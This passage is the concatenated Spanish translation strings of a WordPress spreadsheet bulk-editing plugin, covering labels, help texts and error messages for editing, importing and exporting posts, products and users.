encontrados?Quieres borrar {rows_number} filas de la base de datos completamente? Si quieres restaurarlas después, deberías hacer una copia de seguridad antes.¿Quieres actualizar o crear filas?¿No mostrar las columnas deshabilitadas en los módulos?¿No mostrar columnas de sólo lectura en la búsqueda avanzada?DescargarID de la descarga %dURL de la descarga %dNombre de la descarga %dDescargar archivo CSVURL de la descargaCaducidad de la descargaArchivos descargablesArchivos descargables: URLsArchivos descargables: NombresLímite de descargasNombre de la descargaTipo de descargaActualización de descargaDescargableDescargasArrastra las columnas a la izquierda o a la derecha para habilitarlas/deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. Haz clic en el botón "editar" para renombrarlas, haz clic en el botón "x" para borrarlas por completo (sólo cuando estén deshabilitadas previamente).DuplicarDuplicar (Herramienta)Duplicar desde el idioma principalDuplicar artículos masivamenteDuplicar elementos masivamente.Duplicar filaDuplicar filas: Número de copias a crear por loteDuplicar este elemento:Archivos de descarga EDDPrecio variable EDDHABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: {columns}. ¿Quieres recargar ahora? Recargaremos automáticamente.TERMINA CONHoja de Cálculo de Easy Digital DownloadsEditarEditar Editar %sEditar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. Descargar PluginEditar Campos Personalizados en una Hoja de CálculoEditar Entradas y Páginas en una Hoja de CálculoEditar perfiles de usuario en una hoja de cálculo - BásicoEditar Perfiles de Usuario en la Hoja de Cálculo - COMPLETOEditar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre filas,
                  Editar post types personalizados y campos personalizados, Editar Perfiles de Usuario, y MásEditar %s de WordPressEditar todas las filas de mi búsqueda actual (incluyendo las filas no visibles).Editar atributosEditar categorías, etiquetas y atributos en una hoja de cálculoEditar archivosEditar en una Hoja de CálculoEditar la meta claveEditar solo los productos simples y padresEditar solo las variacionesEditar ajustesEditar las filas que he seleccionado manualmente en la hoja de cálculo.Editar las mismas filas que seleccioné manualmente previamenteEditar "%s"Editando:El rol de editor puede ver y editar todos los post y páginas.ElementorCorreo electrónicoMensaje del correoAsunto del correo electrónicoHabilitarHabilitar filtros avanzadosHabilitar todas¿Habilitar el guardado automático?Habilitar columnaHabilitar comentariosHabilitar nueva hoja de cálculo¿Habilitar la opción de restringir las vistas de hojas de cálculo por usuario?Habilitar la paginaciónHabilitar las valoraciones¿Habilitar el modo simple?Habilita el modo avanzado en la parte inferior de la página para personalizar el ancho de la columna, el formato (editor, carga de archivos, taxonomías), etc.¿Habilitar modo oscuro?Habilitar el selector de términos de taxonomía bonitoHabilitar la corrección de la codificación utf8Habilita esta opción si quieres copiar todos los datos de la variación, excepto la imagen de la variación.HabilitadasHabilitar esta columna requiere una recarga de la páginaIngresa %sIngresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. Puedes agregar rangos como 20-50 como un acceso directo.Ingresa un formato de fecha. Lista de formatos. Ejemplo: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: A-m-d H:i:sIngresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: D-M-A Ingresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-d H:i:sIngresa una palabra claveIngresa una palabra clave para excluir filas. Separa múltiples palabras claves con un punto y coma (;)Ingresa un nombre...Ingresa un número y esas columnas se fijarán al hacer scroll horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas.Ingresa un término de búsqueda...Ingresa un títuloIngresa un nombre de usuario o correo electrónico...Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás tener que desplazarte por docenas de columnas para encontrar la que necesitas.Ingresa cada selección en una nueva línea. Para mayor control, puedes especificar un valor y una etiqueta así: rojo : RojoIngresar nombre del elemento...Ingresa varios SKUs o IDs separados por comasIngresa múltiples URLs separadas por comasIngresa varios atributos separados por |Ingresa los códigos de varios idiomas separados por comas y crearemos copias del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán omitidos.Ingresa varios títulos separados por comasIngresa varios términos separados por %sIngresa varios términos separados por comasIngresa una URL por líneaIngresa uno o más términos separados por %s o uno nuevo en cada línea. Ingresa la jerarquía completa como "Padre > Hijo" para remover subcategoríasIngresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio.com/wp-content/uploads/2016/01/file.jpg) o una URL externa.Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio.com/wp-content/uploads/2016/01/file.jpgIngresa las URL separadas por comas. Pueden ser de tu propio sitio.Ingresa las URL separadas por comas. Deben ser de tu propio sitio.Ingresa el nombre del atributoIngresa el nombre de la columna (lo que quieras) y selecciona la clave de campo en el menú desplegable. Si no la encuentras, puedes escribirla en el desplegable. Ver Tutorial Debes ingresar la jerarquía completa como padre > hijoIngresa la lista de claves de campo separadas por comas, puedes ingresar la clave completa del campo meta o las palabras clave o prefijos parciales. Esto es útil porque algunos plugins añaden miles de campos innecesarios a la base de datos y desordenan la hoja de cálculoIngresa los nombres de Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como padre > hijo > hijoIngresa el número.Ingresa el número del porcentaje.Ingresa el nombre o el slug del término.Ingresa el valor a añadir al final del valor existente.Ingresa el valor para añadir al inicio del valor existente.Error en la fila con el ID: %d - %sError. El motor matemático no pudo ejecutar la operación matemática: %1$s, ID: %2$dError. La columna "Estado" debe estar habilitada en la hoja de cálculo antes de remover los duplicados.Error: %sError: El nuevo valor está vacío o es igual al valor antiguoEtc.Hoja de Cálculo de The Events CalendarYa está todo guardado.Todo lo que necesitas para todos los post types y productosTodo lo que necesitas para los usuarios y clientesEjemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 (Establecer precio normal - 30%)Ejemplo: ExtractoEjecutarEjecutar AhoraSalirSalir del modo de Pantalla CompletaExportarExportar e importar ajustesExportar columnaExportar filas más rápido: Número de filas a exportar por loteExportar a un archivo CSVAmpliar la hoja de cálculoNombre de la extensiónExtensionesExtensiones que requieren actualizaciónImágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?Campos de búsqueda marcados como favoritosImagen DestacadaImagen destacadaCampoCampo 2: Columna en el CSVCampo 2: Campo en WordPressArchivo (URL o ruta)ID del archivoURL del archivoURLs de archivosNo se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo.Cargar archivoCarga de archivos (múltiple)Carga de archivos (individual)El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una codificación incorrecta. Si editaste el archivo en Excel, verifica que se guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo los valores y no el formato para evitar pegar caracteres inválidos.Archivos guardados.Filtrar elementos de la listaPaso finalEncontrar estos IDs:Encontrar estas URLs:Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 parámetros: $current_data (string con el valor actual de la celda) y $row_id, la función debe aceptar los 2 parámetros y devolver el valor modificado para guardar como string. Automáticamente guardaremos si el valor devuelto cambió. Leer más.Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta de búsqueda, actualizaremos sólo los posts con el autor MarcosPor ejemplo, si seleccionas las categorías del blog, sólo aceptaremos categorías del blog en esta columna.Por ejemplo, si seleccionas el post type "producto", sólo aceptaremos títulos de productos.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos productos que no tienen traducción al español ni al alemán.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos términos que no tienen traducción al español ni al alemán.Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se borra la imagen destacada y las imágenes de la galería de productos de la biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, se romperán las imágenes en otros postsModo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda está vacío)Fórmulas¿Congelar las columnas iniciales del lado izquierdo?Hoja de Cálculo FrontendHojas de Cálculo FrontendURL CompletaContenidoEl modo de pantalla completa está activadoGaleríaAjustes generalesGenerar extractoGenerar columnas de campos serializados basados en estos postsObtén ayuda instantánea en el chat en vivo + soporte por correo electrónico en horas de oficinaObtén las siguientes %d extensiones por sólo $ %s $ %sHoja de Cálculo de GiveWPOrden globalPásate a PremiumAtrásIr a la páginaIr arribaHojas de Cálculo de GoogleGuías y TutorialesAlturaAyudaAquí hay un archivo CSV como ejemplo que contiene todo tipo de productos.Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas un valor alto, la copia terminará más rápido pero puede saturar tu servidor. Recomendamos copiar 50 por tanda.Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un número alto, las exportaciones terminarán más rápido. Puedes usar un número alto de forma segura porque automáticamente volvemos a un número más bajo si el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 filas por lote y completar las exportaciones súper rápido y si detectamos lentitud en una exportación reiniciaremos automáticamente la exportación con 10 filas por loteOcultar / Mostrar columnasOcultar la barra de administración en el frontendOcultar columnaHoras¿Cómo se guardan los valores múltiples en la base de datos?¿Cómo debemos encontrar los elementos existentes a editar?¿Cómo quieres guardar los archivos múltiples?¿Cómo quieres guardar los posts múltiples?¿Cómo quieres guardar los términos múltiples?¿Cómo se guarda el archivo en la base de datos?¿Cómo se guarda el post en la base de datos?¿Cómo se guarda el término taxonómico en la base de datos?¿Cómo se guarda el usuario en la base de datos?¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)¿Cuántas copias quieres crear?No quiero copiar todas las variacionesTengo una copia de seguridad de la base de datos. Ejecutar AhoraEntiendo que se editarán los productos de mi búsqueda.Entiendo, continuarQuiero buscar las filas a editar y editar todos los resultados de la búsquedaPor ejemplo, un valor como "(234343) Mi gran título" puede convertirse en "Mi gran título" eliminando todo lo que precede a ") ".Es decir, un valor como "Mi gran título (234343)" puede convertirse en "Mi gran título" eliminando todo lo que aparece después de " ("IDSi la columna tiene texto demasiado largo, borraremos el HTML y lo acortaremos a un número de palabras.Si se trata de un atributo global, ingresa la clave del atributo (por ejemplo, pa_color). Ingresa el nombre si se trata de un atributo personalizado.Si estás intentando descargar algo que se exportó hace varias horas, es posible que el archivo haya caducado. Los archivos caducan al cabo de %s horas.Si haces clic en el botón "descargar", descargaremos el archivo desde el sitio web oficial: wpsheeteditor.com.Si deshabilitas esta opción, esta columna sólo se editará manualmente.Si habilitas esta opción, algunas columnas aparecerán como texto. Normalmente detectamos los campos de fecha, campos de imagen.Si habilitas esta opción, el widget de estadísticas de uso que se muestra en el panel de control de wp-admin será eliminado.Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden utilizar todas las vistas de la hoja de cálculo si esto está desactivado.Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la herramienta de búsqueda, la herramienta de edición masiva, la herramienta de importación, la herramienta de exportación y otros lugares.Si detienes una importación para editar el archivo CSV o cambias la velocidad de importación, puedes iniciar una nueva importación y continuar desde donde la dejaste.Ignorar esta columnaAltura de previsualización de la imagen dentro de la celdaAncho de previsualización de la imagen dentro de la celdaImagina poder hacer todos esos cambios a cientos o miles de entradas a la vez en sólo unos minutos. La función de fórmulas está disponible como extensión premium.ImportarImportar todas las filas como nuevasImportar todas las columnasImportar como metadatosImportar CSVImportar ajustesExtensiones importantesImportante. Sólo hemos detectado una columna en el archivo CSV. Si esto es incorrecto, sigue estos pasos para arreglarlo.ImportandoEn los últimos X díasEn las últimas X horasEn las últimas X semanasEn los últimos X añosEn esta página puedes configurar rápidamente el editor de hojas de cálculo. Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras pestañas son completamente opcionales y te permiten ajustar el rendimiento del editor entre otras cosas.Aumentar la productividadIncrementar enIncrementar en númeroIncrementar en porcentajeAumentar o disminuir los precios de los productosAumentar o disminuir el inventario de los productosAumentar filas por páginaAumenta el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Desfase inicial de las filasInsertar en el elementoInstalar GratisIntegraciones#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un tipo de fórmula desconocida.#8W89PQ inválido. La fórmula matemática está vacía.#8W89PQ inválido. La fórmula matemática está vacía.#PQ8SPQ inválido. La función PHP no existe: %s#PQ8SPQ inválido. La fórmula matemática contiene una coma: %sUnidad de tiempo inválida.InventarioEs descargableEs Virtual¿Es visible?¿Es un atributo global?Es destacado?¿Es de sólo lectura?¿Es visible?Busca en el título de la entrada y en su contenido. Busca por varias palabras clave separándolas con punto y coma (;)Es importante que las instales para evitar errores, pero puedes hacerlo más tarde si quieres. Encuentra esta ventana emergente en la barra de herramientas > extensiones > Integraciones.Elementos cargados en la hoja de cálculoSólo guarda los cambiosClaveEtiquetaÚltima modificaciónDéjalo vacío para usar los ajustes globales.Deja este campo vacío si quieres anular el término.LongitudModo claroColor de los enlacesListado de columnas eliminadasEn vivoCargarCargar más filas¿Cargar más filas al hacer scroll?Cargar más al hacer scrollCargar las filas más rápido: Número de filas a cargar por loteLocalizar celdaLocalizar celda.Localizar columnaLas celdas bloqueadas sólo muestran una vista previa del valor. La longitud de caracteres por defecto es %dMensaje de inicio de sesiónLogoColor principalHacer otra búsquedaGestionar de inventario¿Administrar los valores de las columnas de taxonomía como IDs de términos?¿Gestionar los valores de las columnas de taxonomía como slugs de términos?¿Administrar la columna "Padre" usando los IDs?Fórmulas matemáticasFórmula matemáticaDecimales para redondear valores al realizar ediciones masivas en columnas numéricas?Operación matemáticaCantidad máxima de campos disponibles para búsqueda avanzada?¿Número máximo de caracteres mostrados en la vista previa de los valores de las columnas tinymce?Número máximo de segundos para descargar imágenes externas?Número máximo de variaciones por combinación de atributosNúmero máximo de palabrasMáximo de caracteres visibles en las celdas bloqueadasTal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor no está configurado correctamente y nuestra carpeta %s no tiene permisos de escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda a tu proveedor de hosting.Hoja de Cálculo de la Biblioteca de Medios de WordPressMenúClaves meta que deben utilizar el administrador de campos serializados infinitosMeta: %sMicrosoft Excel (Office 365)Tipo de MIMEMisceláneaColumnas faltantesFalta el número y la unidad de tiempo.Parámetros faltantes.Falta el post type o la column_key (clave de la columna)Falta el post type, old_column_key, o new_column_key; o la clave antigua y la clave nueva son iguales."Datos" del campo requerido faltantes.Campo requerido faltante. Por favor, inicia el proceso de nuevo.Fecha de modificaciónFecha de Modificación (GMT)Celdas modificadasFilas modificadasMesesMás opcionesMover todos tus borradores a posts publicados o a cualquier otro estadoMover cientos de entradas a la papeleraDesplegable de selección múltipleMúsicaMi licenciaNO CONTIENENo Contiene esta palabra claveNombreNombre de esta exportaciónNombre de esta exportación (opcional)¿Necesitas ayuda?¿Necesitas ayuda? Consulta nuestros tutoriales¿Necesitas ayuda? ContáctanosNueva Hoja de CálculoNuevo menú desplegable de selección múltiple (predeterminado)Se añadieron nuevas filasNuevo valorSiguienteNoNo se han encontrado artículos.No hay más filas disponibles.No hay opciones disponiblesNo hay filas disponibles para la página actual.No se han encontrado filas que coincidan con los parámetros de búsqueda. Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente.No se han encontrado taxonomías.No, eliminar todo lo que aparece después del texto, sin incluir el textoCelda normalNo está permitido.No permitido. Por favor, inicia el proceso de nuevo.No encontradoNo se encontró en la PapeleraNota. Esta no es una característica de seguridad, el usuario puede editar todos los campos en el editor normal basado en el rol. Esta opción es por conveniencia, para que los usuarios puedan solo ver las columnas que necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, podrán cambiar entre todas las vistas existentesNota: Separa los valores con el caracter %1$s
                  Te recomendamos usar Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la variación debe estar habilitada. De lo contrario, los atributos no se guardarán.Nota: Separa los valores con este carácter: %s.
                  El producto debe ser variable y tener variaciones existentes para que esto funcione. De lo contrario los atributos por defecto no serán guardados.NúmeroNúmero de decimalesNúmero de filas a procesar por lote:OKAutocompletado de selección simple antiguoSlug antiguoVersiones más antiguas de Microsoft ExcelUn correo electrónico por usuario significa que si 3 filas tienen la misma dirección de correo electrónico, sólo una fila activará un correo electrónico y las demás se omitirán. Un correo electrónico por fila significa que si 3 filas tienen la misma dirección de correo electrónico, enviaremos 3 correos electrónicos a la misma dirección (uno por fila).Una fila de variación tiene un producto padre que no existe. La columna "padre" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva importaciónSolo los administradores pueden enviar correos electrónicos a los usuarios.Copiar solo las variaciones nuevasSólo crear las filas nuevas, ignorar las filas existentesSólo para usuarios avanzados. Leer más.¿Sólo se puede enviar un correo electrónico por dirección?Oops, no encontramos nada.Abrir la Página de AjustesAbrir en una Hoja de CálculoAbrir el Editor de Hojas de CálculoOperadorOrdenOtroOtras extensionesFunción PHPPágina PadrePáginasPadreHoja de Cálculo Padre:ContraseñaPega los ajustes aquí (el contenido del archivo exportado). Notas:Pegar con el teclado: Ctrl+VPausarLos receptores responderán a esta dirección de correo electrónicoEstado del pingModo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda está vacío)Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, guárdalos o serán descartados.Por favor, corrige el error y guarda de nuevo.Por favor, corrige el error en el archivo e inicia una nueva importación. Puedes usar las "Opciones avanzadas" en el paso 1 de la importación para empezar desde esta fila específica.Ingresa el asunto y el mensaje del correo electrónico.Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas por comas.Por favor, indica cuáles términos quieres remover.Por favor, haz una copia de seguridad de tu base de datos antes de importar para estar más seguro.Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa la herramienta "Buscar" en la barra superior).Por favor, selecciona un producto.Por favor, selecciona un producto de origen.Por favor, selecciona al menos una columna a importarPor favor, selecciona un color de fondoPor favor, selecciona el post type y guarda los cambios. Después de guardar los cambios, podrás ver el resto de los ajustes e instrucciones.Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Esta función requiere la última versión de todos nuestros plugins.Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Las características del plugin "PosiciónDesplegable de postsPost typeHojas de CálculoHoja de CálculoDatos del postMeta del post (es decir, metaboxes)Términos del post (es decir, categorías)Post typePost type eliminadoPost type(s)Tipos de posts creados con WP Sheet EditorEntradasAñadir al inicioPrevisualizar el Editor FrontendAnteriorMenú PrincipalProProcesando...Procesando: Se han exportado %1$d de %2$d filas.Atributos del productoAtributos de producto no usados para las variacionesAtributos de producto no visiblesGalería del productoPromoción. Ahorra %d%% solo hoy. Nota de compraRespuestas rápidasBúsqueda rápidaAjustes rápidosREGEXPRaw HTMLLas columnas de sólo lectura mostrarán un candado y no será posible editarlas en ninguna parte de la hoja de cálculo. Esto no es una característica de seguridad porque la gente todavía puede editar en las pantallas normales de WP.Realinear celdasPrecio normalPrecio normal¿Recordar esta configuración de columnas para futuras importaciones?Eliminar todos los filtrosQuitar la columna completamente. Si quieres usarla más tarde, puedes deshabilitarla arrastrando y soltando a la columna de la derechaEliminar duplicadosBorrar duplicados por SKU (borrar los más nuevos)Borrar duplicados por SKU (borrar los más viejos)Borrar los duplicados por título (quitar los más nuevos)Borrar los duplicados por título (quitar los más antiguos)Borrar duplicados por título (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más antiguos)Eliminar todo lo que aparece después de un textoEliminar todo lo que aparece después de este textoEliminar todo lo que aparece antes de un textoEliminar todo lo que aparece antes de estoEliminar imagen destacada¿Ocultar los mensajes de ayuda de las celdas?Remover términos de los postsEliminar el valor existente y dejar el campo vacío. Leer más¿Quitar también el texto de arriba?¿Eliminar el texto también?Renombrar columnaReemplazarReemplazar un término de atributo por defectoReemplazar un archivo multimedia por otro archivoReemplaza una palabra, frase o número con un nuevo valor. Leer másReemplazar el valor existente por un valor aleatorio de esta lista. Ingresa los valores separándolos con | si quieres seleccionar de una lista predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar cualquier fecha de ese rango.Reemplazar el valor existente por este valor. Leer másReemplazar los shortcodes viejos por shortcodes nuevos en todos tus postsReemplazar algún/algunos término(s) con término(s) nuevo(s). Leer másReemplazar estos archivosReemplazar estoReemplazar este archivoReemplazar este términoReemplazar palabras o frases en los títulos, contenido u otros campos de tus postsResponder aSolicitud no permitida. Inténtalo más tarde.Restablecer los ajustesRedimensionar las columnas en base a los valoresRestaurar columnas eliminadasRecuento de valoracionesFilaFila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu CSV utiliza el nombre correcto en la columna Post type.Fila: %d. No tienes suficientes permisos para borrar este post.Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el nombre correcto en la columna "Tipo de post" o "Post Type".FilasFilas eliminadas con éxitoLas filas que he seleccionado manualmente en la hoja de cálculoEjecutar búsquedaSEOURL Canónica de SEODescripción SEODescripción SEO para FacebookImagen SEO para FacebookTítulo SEO para FacebookPalabra clave de SEOSEO - No indexar%s SEO PrimarioDescripción SEO para TwitterImagen SEO para TwitterTítulo SEO para TwitterTítulo SEOSKUINICIA CONPrecio rebajadoFecha final del precio rebajadoPrecio rebajadoFechas del precio rebajadoFecha inicial del precio rebajadoFecha inicial del precio rebajadoFecha final del precio rebajadoIgual que el post type de la hoja de cálculoIgual que la taxonomía de la hoja de cálculoGuardarGuardar y continuarGuardar cambiosGuardar los cambios y editar el siguiente postGuardar los cambios y editar el post anteriorGuarda los cambios más rápido: Número de filas a guardar por loteGuárdalos como un array serializado¿Guardar estos ajustes para sesiones futuras?Guardar esta búsquedaExportaciones guardadasBúsquedas guardadasGuárdalos separados por comasGuardado: %sGuardando cambios, por favor no cierres esta página.Escanear la BD para encontrar camposEscanear AhoraEscaneando variaciones a crear. Se han procesado {updated} productos de {total} productos.BuscarBuscar Hoja de Cálculo¿Buscar variaciones?Seguridad y roles de usuario (opcional)Seleccionar columnas habilitadasSeleccionar todasSeleccionar todos los productos de una búsquedaSelecciona la columna....Selecciona las columnas a importarSeleccionar columnas individuales a importarSeleccionar productos individualesSeleccionar producto....Selecciona el formato de las celdas, si las celdas deben ser de texto normal, un cargador de archivos o un editor de texto.Selecciona la información que quieres editar con el editor de hojas de cálculo.Selecciona el tipo de información utilizada en las celdas de esta columna.Selecciona las filas que quieres editar.Selecciona el tipo de ediciónSeleccionar...Enviar correo electrónicoEnviar un correo electrónico por filaEnviar un correo electrónico por usuarioSeparados por comasSeparadorSeparador de celdas de términos de taxonomíaArray serializadoEstablecer imagen destacadaConfigurar cientos de productos a la vez como sin existencias o en existencias¿Guardar con estado "Pendiente" si el guardado de la imagen destacada falló?Establecer valor aleatorioPonerle la misma imagen destacada a todos los posts de una categoríaGenerar hoja de cálculoEstablecer valorAjustesConfigurar página en el frontendGenerar hoja de cálculoSheet EditorClase de envíoDescripción cortaMostrar opciones avanzadasMostrar opciones avanzadas ¿Mostrar todos los estados de posts personalizados?Mostrar las celdas como texto simpleMostrar la clave de la columnaMostrar elementos publicados entre estas fechasMostrando las filas de la última sesión.Texto simpleDesplegable de selección simple¿Omitir las imágenes rotas?SlugVendido individualmenteSolución de errores rarosAlgunos cambios no han sido guardados todavía.Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de destino deben usar los mismos plugins para que tengas las mismas columnasAlgunos plugins requieren compatibilidad especial y hemos creado estas extensiones que puedes descargar gratuitamente si compraste nuestro plugin.Algunos plugins ejecutan una tarea después de crear o actualizar una entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus perfiles sociales, otros plugins notifican a los usuarios después de que una entrada es actualizada, etc. Puede que haya un problema con esos plugins. Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes terminar con 100 tweets compartidos en tu cuenta de twitter. Así que habilita esta opción si quieres actualizar / crear posts silenciosamente sin ejecutar esas funciones.Algunas filas fueron modificadas en segundo plano. Por favor, guarda los cambios y recarga la hoja de cálculo para ver los cambios.Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios antes de usar esta función.OrdenarOrdenar alfabéticamente ASCOrdenar alfabéticamente DESCFuenteVelocidad y rendimientoArchivos de la Hoja de CálculoAtributos de la Hoja de CálculoHoja de cálculo para %s %sVista de hojas de cálculoHojas de cálculo habilitadas para estos post typesLista de hojas de cálculoNavegación por la lista de hojas de cálculoProducto estándarComenzar desde este número de fila:Iniciar nueva exportaciónEstadoInventarioEstado del inventarioEl rol de suscriptor no está autorizado para utilizar el editor.¿Suspender la invalidación de la caché de objetos?EtiquetasEtiquetas (separadas por comas)Productos de destino no encontrados.Las columnas de taxonomía como las categorías de las entradas, las etiquetas de las entradas, etc. muestran los términos separados por comas, si usas comas en los nombres de las taxonomías, usa esta opción para cambiar el separadorDesplegado de taxonomíasMenú desplegable de taxonomías. Sólo si la fuente de datos = Términos del post.Desplegable de términos de taxonomíaEl elemento de la plantilla con ID %d no se ha encontrado o no se puede duplicar.ID del términoTérminosTextoEditor de texto (tinymce)Gracias por actualizar a la nueva versión del plugin.Gracias por usar nuestro editor de hojas de cálculoLa herramienta "Crear variaciones" te permite crear variaciones basadas en la combinación de atributos. El límite por defecto es de 200 variaciones para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas más variaciones.La columna "Precio normal" está oculta. Actívala en el gestor de columnas antes de realizar esta edición masiva.La función "Editor Masivo" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:La Hoja de cálculo está lista.La hoja de cálculo de productos de WooCommerce genera automáticamente las unidades de inventario y las estadísticas de precios de inventario y muestra las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja si tienes varios miles de productos. Desactívalo si la hoja de cálculo es demasiado lenta o ves errores al cargar las filas.El guardado automático falló: El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El cambio masivo ha sido editado con éxitoEl cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los cambios?A la edición masiva le falta información importante, por favor, completa el formulario.El cambio masivo se está ejecutando. Por favor, no cierres esta ventana hasta que el proceso haya terminado.El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana.La celda mostrará los valores como URLs y puedes editar en las celdas usando URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs externas se importan automáticamente en la biblioteca multimedia.
                  Guardaremos el valor en el formato seleccionado aquíLos cambios que estás a punto de realizar no son reversiblesLos cambios que estás a punto de realizar son irreversibles. Debes hacer una copia de seguridad de tu base de datos antes de proceder.Nombre de la columna que se muestra en la hoja de cálculoLa columna seleccionada no es válida.La columna aparecerá en la hoja de cálculo y en las exportaciones si el usuario tiene un rol con la capacidad requerida.La columna puede ser leía solo si el usuario no tiene un rol con la capacidad requerida.La forma predeterminada usa un método de ejecución más rápido, pero puede que no funcione en todos los casos. Usa esta opción cuando la forma predeterminada no funciona o no actualiza todas las filas.El editor sólo está disponible para usuarios registrados. Los usuarios desconocidos verán un formulario de inicio de sesión.Las variaciones existentes en los productos de destino no serán editadas ni sobrescritas.La función de exportación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La exportación ha sido editada con éxitoEl archivo exportado no existe. Esto puede ocurrir por las siguientes razones:El archivo no existe. Ruta inválida: %sLos archivos no se pudieron guardar.La función de importación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La importación ha sido editada con éxitoLa importación se ha completado.La importación sobrescribirá los ajustes existentes.El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro momento.Clave que se utilizará para guardar la información en la base de datos. Debe ser única, sólo letras y guiones bajos.El último lote de importación falló debido a un error del servidor, es más probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva importación, a veces intentarlo de nuevo funciona (usa los "Ajustes avanzados" en el paso 1 de la importación para empezar desde una fila específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos.La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu archivo.La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el proceso haya terminado.
